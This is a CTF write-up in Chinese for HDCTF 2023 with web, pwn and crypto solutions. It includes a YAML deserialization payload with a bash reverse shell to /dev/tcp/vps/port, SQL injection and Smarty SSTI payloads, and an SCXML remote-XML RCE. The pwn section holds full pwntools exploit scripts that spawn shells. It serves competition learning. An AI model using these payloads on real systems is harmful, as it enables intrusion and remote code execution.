HDCTF 2023 复现

目录

Web

<1> YamiYami(伪随机数&yaml反序列化)

<2> LoginMaster(quine注入)

<3> SearchMaster(Smarty模板注入)

<4>  BabyJxVx (Apache SCXML2 RCE)

Pwn

<1> pwnner(伪随机数&ret2text)

 <2> KEEP ON(格式化字符串漏洞&栈迁移)

 <3> Minions(格式化字符串漏洞&栈迁移)

<4> Makewish(栈迁移)

Crypto

<1> Normal_Rsa(知p,q,r,e 求d m)

<2>  爬过小山去看云(希尔密码)

<3> Math_Rsa


Web

<1> YamiYami(伪随机数&yaml反序列化)

有三个路由:

  • /read?url=  参数可以利用file协议 读取文件
  • /upload  可以上传文件
  • /pwd   当前路径为 /app

非预期:直接file:///proc/1/environ

预期解:

双重url编码绕过 re.findall('app.*', url, re.IGNORECASE) 的过滤

file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 Read somethings
    
Here is the challenge Upload file
Enjoy it pwd ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport")=="Welcome To HDCTF2023": LoadedFile=request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__=='__main__': pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])

/boogipop 路由 yaml.full_load(f)   存在 yaml反序列化 

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

random伪随机数,这里我们可以得到:SECRET_KEY

然后通过SECRET_KEY 伪造session   满足 session.get("passport")=="Welcome To HDCTF2023" 其 passport键值为Welcome To HDCTF2023

那话说回来,random这个 种子怎么得到呢  这里用到了 uuid.getnode()

在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。 

我们利用之前的任意文件读取,读取 /sys/class/net/eth0/address,即网卡的位置,然后伪造即可

02:42:ac:02:f6:34

import random
random.seed(0x0242ac02f634)
print(str(random.random()*233))
# 189.70249136205157

得到SECRET_KEY:189.70249136205157

利用 flask-session-manager 脚本伪造flask session

最后 我们上传构造好的 yaml文件   题目过滤了  "yaml","YAML","YML","yml","yamiyami"  

with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()

这里f为 open打开的文件的内容,输入的是一个steam,也就是流 并不会管你后缀什么的 因此我们直接更改后缀为 .txt上传即可

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/vps/port <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

<2> LoginMaster(quine注入)

随便输入一个用户名密码 登录 返回:only admin can login   应该就是要获取到admin的passwd

robots.txt里有东西   得到了waf的代码

function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

可以看到  waf过滤了 regexp between in flag = > < and \  right left reverse update extractvalue floor substr & ; \\$ 0x sleep 空格

  • regexp = > < 这些可以用 like替代
  • substr right left 可以用 mid 等替代
  • sleep可以用 benchmark替代
  • 空格用注释符 /**/替代

 这里我们可以进行延时注入 但是据说注入注 出来是空密码   我只注了一下数据库长度

import requests as r

url = "http://node4.anna.nssctf.cn:28303/index.php"
def get_DBlength():
    for i in range(1,20):
        payload = "1'or/**/if(length(database())/**/like/**/%d,benchmark(10000000,md5(1)),0)#" %(i)
        data = {
            "username":"admin",
            "password":payload
        }
        try:
            res = r.post(url=url,data=data,timeout=2)
        except Exception as e:
            #print(e)
            print("Database Length:",i)
            break

这道题考察点为 unique注入

 网上有篇文章 与第五空间 yet-another-mysql-injection类似 应该是原题

https://www.cnblogs.com/zhengna/p/15917521.html

 重点看这段代码

if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

这个if判断了从数据库中查到的密码是否和用户输入的是一样的,做了强比较,===才会得到FLAG,难道只能输入正确密码才能得到FLAG吗

不止  我们可以 构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG

payload:  1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

首先我们需要了解一下replace()函数

  • replace(object,search,replace)
  • 把object对象中出现的的search全部替换成replace

举个例子

HDCTF 2023 复现_第1张图片

.apple 替换 char(46) 也就是 . 为 a  查询结果返回的就是apple

那如何让输入输出一致呢?

 如果我们将object写成replace(".",char(46),".")  没变化 正常 . 换 . 怎么会有变化

HDCTF 2023 复现_第2张图片

这时候我们将第三个参数也改成 replace(".",char(46),".")

那么语句就变为了  select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

作用即: 把object里的 . 变成  replace(".",char(46),".")

HDCTF 2023 复现_第3张图片

有一点点套娃  递归的意思  挺有趣的

这里 输入输出是不是就大体一致了呢 但是细心一看 会发现 并不完全一致  有一个 ' 和 " 的区别

3.解决单双引号不同的问题

有了上面的经验后,我们这样考虑,如果先将双引号替换成单引号是不是就可以解决引号不同的问题了。实现方法无非就是在套一层replace

 同理 原先的  select replace(".",char(46),".")  套一层replace 将 " 替换为 '

即 select replace(replace('"."',char(34),char(39)),char(46),".");

HDCTF 2023 复现_第4张图片

 继续按上面套娃、递归的思想   构造输入输出相同的语句

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

构造输入输出相同的 str
str基本形式
replace(replace(".", char(34), char(39)), char(46), ".")        (已解决 ' "问题)

解决掉 ' " 的问题,之后再用str替换str里的 .  即可
即:

得到:Quine基本形式:
replace(replace('str', char(34), char(39)), char(46),'str')

select replace(replace('str', char(34), char(39)), char(46),'str')  返回的就是 replace(replace('str', char(34), char(39)), char(46),'str')

题目中,我们需要构造的str为:

1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

这个就是我们str的基本形式 (已解决 ' "问题)

所以我们的Quine的基本形式为:

1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#

之后再用 str 替换Quine形式里的str 即可
最终通过来回替换的形式达到了我们的目的

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

红色即为 str部分

登录 查询语句===查询结果   满足了 条件 得到flag

HDCTF 2023 复现_第5张图片

<3> SearchMaster(Smarty模板注入)

传入 {{7*7}}    回显为49 同时 /composer.json 泄露 Smarty

HDCTF 2023 复现_第6张图片

data={$smarty.version} 得到版本为:4.1.0

data={system('cat /flag_13_searchmaster')}

或者利用if   {if system('cat /flag_13_searchmaster')}{/if}

可以参考:奇安信攻防社区-Smarty模板引擎漏洞详解

<4>  BabyJxVx (Apache SCXML2 RCE)

 题目提供一个附件,jd-gui打开 其中有一个Flagcontroller类

有/ 和 /Flag 两个路由 /Flag 路由  存在 Apache SCXML2 RCE漏洞

import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
public class Flagcontroller {
  private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = dbf.newDocumentBuilder();
    Document doc = builder.parse(fileName);
    int node1 = doc.getElementsByTagName("script").getLength();
    int node2 = doc.getElementsByTagName("datamodel").getLength();
    int node3 = doc.getElementsByTagName("invoke").getLength();
    int node4 = doc.getElementsByTagName("param").getLength();
    int node5 = doc.getElementsByTagName("parallel").getLength();
    int node6 = doc.getElementsByTagName("history").getLength();
    int node7 = doc.getElementsByTagName("transition").getLength();
    int node8 = doc.getElementsByTagName("state").getLength();
    int node9 = doc.getElementsByTagName("onentry").getLength();
    int node10 = doc.getElementsByTagName("if").getLength();
    int node11 = doc.getElementsByTagName("elseif").getLength();
    if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0)
      return Boolean.valueOf(false); 
    return Boolean.valueOf(true);
  }
  
  @RequestMapping({"/"})
  public String index() {
    return "index";
  }
  
  @RequestMapping({"/Flag"})
  @ResponseBody
  public String Flag(@RequestParam(required = true) String filename) {
    SCXMLExecutor executor = new SCXMLExecutor();
    try {
      if (check(filename).booleanValue()) {
        SCXML scxml = SCXMLReader.read(filename);
        executor.setStateMachine(scxml);
        executor.go();
        return "Revenge to me!";
      } 
      System.out.println("nonono");
    } catch (Exception var5) {
      System.out.println(var5);
    } 
    return "revenge?";
  }
}

 filename参数可控,SCXMLReader.read 可以通过参数加载 XML 文件 ,我们可以在vps上放上我们的恶意xml文件   使其加载我们的远程 恶意xml文件

题目过滤了 script  datamodel invoke param parallel history  transition  state onentry if elseif 标签

这里payload用的是 onexit

文件内容为:



    
        
            
        
    

之后在vps上 我们的xml文件目录下 python -m http.server 1111  开启一个http服务

nc -lvnp 2222 开启一个监听端口

访问 /Flag路由  传参 filename=http://ip:port/1.xml

HDCTF 2023 复现_第7张图片

 成功弹回来了shell   (耗时稍微长一点)

 HDCTF 2023 复现_第8张图片

Pwn

<1> pwnner(伪随机数&ret2text)

 附件下载下来  64位elf文件    IDA64打开分析一下

看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  hello();
  vuln();
  return 0;
}

执行了 hello() 和 vuln()函数

同时 我们在get_shell() 发现了 /bin/sh 后门 地址为0x04008B2

HDCTF 2023 复现_第9张图片

再看一下 漏洞利用点  vuln()函数 

__int64 vuln()
{
  int v0; // ebx
  char buf; // [rsp+0h] [rbp-50h]
  char v3; // [rsp+10h] [rbp-40h]

  srand(0x39u);
  puts("you should prove that you love pwn,so input your name:");
  read(0, &buf, 0x10uLL);
  v0 = atoi(&buf);
  if ( v0 == rand() )
  {
    puts("ok,you have a little cognition about pwn,so what will you do next?");
    read(0, &v3, 0x100uLL);
  }
  else
  {
    puts("sorry,you are not a real pwnner");
  }
  return 0LL;
}

这里 if条件语句内 read(0, &v3, 0x100uLL); 存在栈溢出    但利用前提是 我们的输入经过 atoi() ==rand()   这里涉及到了rand()函数的伪随机数问题   srand(0x39) 种子为0x39

我们利用python的ctypes库 生成这个伪随机数输入,然后溢出覆盖返回地址为 后门地址  0x04008B2即可

exp如下:

from pwn import *
import ctypes

libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x39)

p = remote("node1.anna.nssctf.cn",28015)

p.recvuntil(b'input your name:')
p.sendline(str(libc.rand()))

padding = b'A'*(0x40+0x08)
backdoor_addr = 0x04008B2
payload = padding + p64(backdoor_addr)

p.recvuntil(b'so what will you do next?')
p.sendline(payload)
p.interactive()

HDCTF 2023 复现_第10张图片

 <2> KEEP ON(格式化字符串漏洞&栈迁移)

 64位 ELF文件  IDA64打开分析    

HDCTF 2023 复现_第11张图片

漏洞点在这个 vuln()函数这里  

__int64 vuln()
{
  char s; // [rsp+0h] [rbp-50h]

  memset(&s, 0, 0x50uLL);
  puts("please show me your name: ");
  read(0, &s, 0x48uLL);
  printf("hello,", &s);
  printf(&s);
  puts("keep on !");
  read(0, &s, 0x60uLL);
  return 0LL;
}

 它会让我们输入,然后调用 printf(&s) 两次输出  很经典 存在格式化字符串漏洞

 与我们之前buu做的 [第五空间2019 决赛]PWN5 题目非常类似

有两种做法:

  • 栈迁移    栈迁移最关键的要素是找到迁移的地址 利用leave和ret转移ebp和esp 泄露方法有很多,本题目的格式化字符串就是其中一类   泄露libc地址和栈地址
  • 利用格式化字符串漏洞,获取offset,fmtstr_payload 修改printf_gotsystem_plt 再send/bin/sh\x00,使得程序在本该执行printf的地方执行system("/bin/sh"),从而获得shell

这道题给了一个假后门 shell() 函数 存在 system('echo flag');  但这个实际上也就只是 输出 flag 四个字符而已 并不会给我们真的flag 因此不用考虑这个shell()    但是这里表明存在system_plt

HDCTF 2023 复现_第12张图片

int shell()
{
  return system("echo flag");
}

格式化字符串做法 

 输入 AAAAAAAA %8p %8p %8p %8p %8p %8p %8p %8p

第六个输出为 0x41414141  我们输入的AAAA   所以偏移 offset为6 

fmtstr_payload()是专门为32位程序格式化字符串漏洞输出payload的函数  第一次读取时 read(0, &s, 0x48uLL)利用 fmtstr_payload()将printf_got改为system_plt    注意这里64位要加上 context.arch = 'amd64'

然后通过第二个 read(0, &s, 0x60uLL);     覆盖ret 为 vuln()函数起始地址 0x040076F

函数返回 重新执行vuln()函数   然后再发送 '/bin/sh\x00'   vuln()重新执行时 执行到printf(&s) 等价于  执行system('/bin/sh'); 

exp如下:

from pwn import *

p=remote("node4.anna.nssctf.cn",28073)
#p = process("./hdctf")
elf = ELF("./hdctf")
context.arch = 'amd64'  

printf_got = elf.got['printf']
sys_plt = elf.plt['system']


offset = 6
payload = fmtstr_payload(offset, {printf_got : sys_plt})
p.sendafter(b"your name: ", payload)


ret_addr = elf.sym['vuln']
payload = b'A'*(0x50+0x08) + p64(ret_addr)
p.sendafter(b"keep on !",payload)

p.sendafter(b"your name: ",b"/bin/sh\x00")

p.interactive()

注意:

  • 经测试,栈溢出 令函数返回地址为 vuln 起始地址时,发送payload 不能用 sendlineafter  \n会有一定的影响   
  • fmtstr_payload()是专门为32位程序格式化字符串漏洞输出payload的函数  64位要加上 context.arch = 'amd64'

栈迁移

read函数的读入有限制,没有足够大的空间让我们构建调用 system 

这里 用到了 one_gadget 要知道one_gadget,首先要知道libc的版本才行

 利用 printf(&s) 格式化字符串漏洞 得到libc_start_main 之后再求出libc基址,就可以知道one_gadget,再然后就正常溢出

exp如下:

from pwn import*
from LibcSearcher import*

context(os='linux', arch='amd64')
context.log_level = 'debug'

#p = process('./hdctf')
p = remote('node4.anna.nssctf.cn',28947)

elf=ELF('./hdctf')

printf_got=elf.got['printf']

p.recvuntil(b'me your name: \n')
payload = b'%19$p'
p.sendline(payload)
p.recvuntil(b'hello,')

libc_start_main = int(p.recv(14),16)-240

print('libc_start_main_is:',hex(libc_start_main))


libc = LibcSearcher('__libc_start_main',libc_start_main)
libcbase = libc_start_main-libc.dump('__libc_start_main')
sys_addr = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print('sys_addr_is:',hex(sys_addr))

execve=libcbase+0x45226
# execve=libcbase+0x4527a
# execve=libcbase+0xf0364
# execve=libcbase+0xf1207

# gdb.attach(p)
# pause()

p.recvuntil(b'keep on !\n')


payload1=b'a'*0x58+p64(execve)

p.sendline(payload1)

p.interactive()

 <3> Minions(格式化字符串漏洞&栈迁移)

 下载下来附件 64位ELF文件   IDA64打开分析一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]

  init(*(_QWORD *)&argc, argv, envp);
  vuln();
  puts("\nDo you have an invitation key?");
  if ( key == 102 )
  {
    puts("welcome,tell me more about you");
    read(0, &buf, 0x40uLL);
    puts("That's great.Do you like Minions?");
    read(0, &hdctf, 0x28uLL);
  }
  else
  {
    puts("sorry,you can't in");
  }
  return 0;
}

再看一下 vuln()函数

int vuln()
{
  char buf; // [rsp+0h] [rbp-D0h]

  puts("Welcome to HDCTF.What you name?\n");
  read(0, &buf, 0xD0uLL);
  printf("Hello,", &buf);
  return printf(&buf);  //存在格式化字符串漏洞
}

 同 KEEP ON 两种做法,栈迁移  或者 格式化字符串漏洞劫持printf_gotsystem_plt

 首先 我们利用 vuln()里 格式化字符串漏洞 覆盖 key的值为102    进入main函数循环语句

偏移位为6

key_addr  为 0x6010A0

HDCTF 2023 复现_第13张图片

再次构造栈溢出  使得函数返回地址为 _start 起始地址   0x400610

 HDCTF 2023 复现_第14张图片

 exp如下:

from pwn import *

p = remote('node1.anna.nssctf.cn',28238)
#p = process('./minions1')
elf = ELF(r'./minions1')
context.arch='amd64'
#context(arch='amd64', os='linux', log_level='debug')

offset = 6
printf_got = elf.got['printf']
sys_plt = elf.plt['system']
start_addr = elf.sym['_start']

# 利用vuln()函数里格式化字符串漏洞  覆盖key 满足 key==102
key_addr = 0x6010A0
payload = fmtstr_payload(offset, {key_addr: 0x66})
p.sendlineafter(b"name?\n",payload)

# 栈溢出 使函数返回 _start  为重新执行vuln()里的printf
Padding = b'A' * (0x30 + 0x08)
payload_vuln = Padding + p64(start_addr)
p.sendafter(b"tell me more about you",payload_vuln)
p.sendlineafter(b"Minions?",b'aaa')

# 利用vuln()函数里格式化字符串漏洞 修改 printf_got为system_plt
payload = fmtstr_payload(offset,{printf_got: sys_plt})
p.sendlineafter(b"name?\n",payload)

# 栈溢出 返回 _start重新执行 vuln()里的printf
p.sendafter(b"tell me more about you",payload_vuln)
p.sendlineafter(b"Minions?",b'aaa')

# send /bin/sh printf即system 调用 /bin/bash 得到shell
payload = b'/bin/sh\x00'
p.sendlineafter(b"name?\n",payload)

p.interactive()

注意:

  • 经测试,栈溢出 令函数返回地址为 _start 起始地址   0x400610时,发送payload 不能用 sendlineafter  \n会有一定的影响   
  • fmtstr_payload()是专门为32位程序格式化字符串漏洞输出payload的函数  64位要加上 context.arch = 'amd64'

栈迁移

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
io = process('./minions1')
io = remote('node1.anna.nssctf.cn', 28380)
def slog(name, address): io.success(name + "==>" + hex(address))

def get_address():
    return u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

def debug():
    gdb.attach(io, 'b vuln')

key = 0x6010a0
system = 0x4005c0
bss = 0x6010c0
ret = 0x400581
leave_ret = 0x400758
pop_rdi = 0x400893

payload = b'%102c%8$lln%28$p' + p64(key)
io.sendafter("name?\n\n", payload)
io.recvuntil('0x')
stack_addr = int(io.recv(12),16) + 0x10
slog("stack_addr", stack_addr)
payload2 = (p64(pop_rdi) + p64(bss) + p64(system)).ljust(0x30, b'\x00') + p64(stack_addr-8) + p64(leave_ret)
io.sendafter("you\n", payload2)
io.sendafter("?\n", b'/bin/sh\x00')

io.interactive()

<4> Makewish(栈迁移)

栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈 

考点:栈迁移到栈段然后调用bss段写的binsh   打不通多试几次

64位 ELF文件  checksec发现有canary  

HDCTF 2023 复现_第15张图片

 IDA64打开分析一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-38h]
  int v5; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  v5 = rand() % 1000 + 324;
  puts("tell me you name\n");
  read(0, &buf, 0x30uLL);
  puts("hello,");
  puts(&buf);
  puts("tell me key\n");
  read(0, &v4, 4uLL);
  if ( v5 == v4 )
    return vuln(0LL, &v4);
  puts("failed");
  return 0;
}

开头的puts(&buf) 应该是专门给泄露canary的 

 v5 = rand() % 1000 + 324;  进入vuln还需要通过v5的检测,这个v5是一个伪随机数  利用python ctypes库去生成key  注意send时用p32,因为int四字节   

注:没有用srand()设置种子时,默认srand(1)

再看 一下 vuln() 函数

__int64 vuln()
{
  char buf[88]; // [rsp+0h] [rbp-60h]
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("welcome to HDctf,You can make a wish to me");
  buf[(signed int)read(0, buf, 0x60uLL)] = 0;
  puts("sorry,i can't do that");
  return 0LL;
}

看其他师傅 wp 说是 off_by_null (第一次听说)

read的返回值是你正确输入的字节数,也就是说,整个函数会使得你输入的payload的下一个字节的最后一位改成’\x00’,也就是俗称的off_by_null

 vuln里我们 写入buf时 是在(rbp-0x50)位置写入payload    我们将 rbp与 buf输入位置之间填满 ret_addr

而由于off_by_null漏洞,会使得父栈帧的rbp变成0x…ac00    rbp的下一字长就是我们填入的ret,就可以成功获得shell了

同时 有一个后门函数:treasure()   地址为:0x4007C7

int treasure()
{
  return system("/bin/sh");
}

HDCTF 2023 复现_第16张图片

exp如下:

from pwn import*
from ctypes import*
context(os='linux', arch='amd64')
context.log_level = 'debug'

native = 0

if native:
    p = process('pwn1')
else:
    p = remote('node4.anna.nssctf.cn',28890)

elf=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 
shell=0x4007C7

p.recvuntil(b'tell me you name\n\n')
payload=b'a'*0x28
p.sendline(payload)
p.recvuntil(b'hello,')
p.recv(0x29)
can=u64(p.recv(8))
print('cannary_is:',hex(can))

elf.srand(1)
p.recvuntil(b'tell me key\n')
key=elf.rand()% 1000 + 324
print(key)
p.send(p32(key))
p.recvuntil(b'can make a wish to me\n')
# payload=b'a'*0x58+p64(can-0xa)

payload=p64(shell)*0xb+p64(can-0xa)
# gdb.attach(p)
# pause()

p.send(payload)

p.interactive()

HDCTF 2023 复现_第17张图片

Crypto

<1> Normal_Rsa(知p,q,r,e 求d m)

代码如下:

m=bytes_to_long(b'HDCTF{******}')
e=65537
p=getPrime(256)
q=getPrime(512)
r=getPrime(512)
n=p*q*r
P=pow(p,2,n)
Q=pow(q,2,n)
c=pow(m,e,n)
print(f"P = {P}")
print(f"Q = {Q}")
print(f"n = {n}")
print(f"c = {c}")

P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785

根据代码可知:P = p² mod n         Q = q² mod n        c = m^e mod n

所以 :p² = P + kn    q² = Q + kn    m² = c + kn   

根据 p、q、c 和 n的位数     p、q、c的位数都 < n   因此可知  k=0

题目给了 P、Q、n、c得知,开根 即可得到对应 p、q   r

之后就 正常rsa计算了   解密

poc如下:

from Crypto.Util.number import *
import gmpy2

P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785

p = gmpy2.iroot(P,2)[0]
q = gmpy2.iroot(Q,2)[0]
e=65537
r = n//(p*q)
phi_n = (p-1)*(q-1)*(r-1)

d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
#m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))


<2>  爬过小山去看云(希尔密码)

文:ymyvzjtxswwktetpyvpfmvcdgywktetpyvpfuedfnzdjsiujvpwktetpyvnzdjpfkjssvacdgywktetpyvnzdjqtincduedfpfkjssne
在山的那头,有3个人,4只鸟,19只羊,11朵云 

山   hill   希尔密码    key 为 3 4 19 11

在线网站进行解密:Practical Cryptography

HDCTF 2023 复现_第18张图片

 得到 希尔加密的原文:your pin is eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x

即 842084210884024084010124    8 4 2 1 0的组合  应该是云影密码

解密脚本如下:

a="842084210884024084010124"
s=a.split('0')
print(s)
l=[]
for i in s:
    sum=0
    for j in i:
        sum+=eval(j)
    l.append(chr(sum+64))
print(''.join(l))
#NOTFLAG

得到flag:NOTFLAG

<3> Math_Rsa

题目 如下:

from Crypto.Util.number import *
from shin import flag

m=bytes_to_long(flag)
r=getPrime(1024)
assert r%4==3
p=getPrime(1024)
assert pow(p,(r-1)//2,r)==1
q=getPrime(1024)
e=65537
n=p*q
a=pow(p,2,r)
c=pow(m,e,n)
print(f"n = {n}")
print(f"r = {r}")
print(f"a = {a}")
print(f"c = {c}")
'''
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
'''

已知条件:

  • assert r%4==3
  • assert pow(p,(r-1)//2,r)==1
  •  a=pow(p,2,r)    a是mod r的二次剩余

关键在a=pow(p,2,r),需要利用a,r来求p,这里就要用到Sagemath工具:

r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
R.

=PolynomialRing(Zmod(r)) f=(p^2)-a ans=f.roots() print(ans) #[(135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291, 1), (10393238680760106682068330079504927400023017668703262222099938883730714731279774539115772083330909231443250673803376520592094213873608775241097598890818459890825805707433039425020588461191209551582950712455537148377360546659885111322482174840763781771983328894358193926388929089085190683242441518733058810008, 1)]

HDCTF 2023 复现_第19张图片

 首先来解释一下参数意义:
其中,PR.

= PolynomialRing(Zmod®)
(1)Zmod®:指定模,定义界限为r的环;Z表示整数;指定模是划定这个环的界限,就是有效的数字只有从0到r,其他的都通过与r取模来保证在0~r这个范围内;Zmod代表这是一个整数域中的r模环。
ZZ:整数环;QQ:有理数环;RR:实数环;CC:复数环
(2)R:只是一个指针,指向用polynomialring指定的那个环(可以使用任意字符)
(3)PolynomialRing:这个就是说建立多项式环
(4).

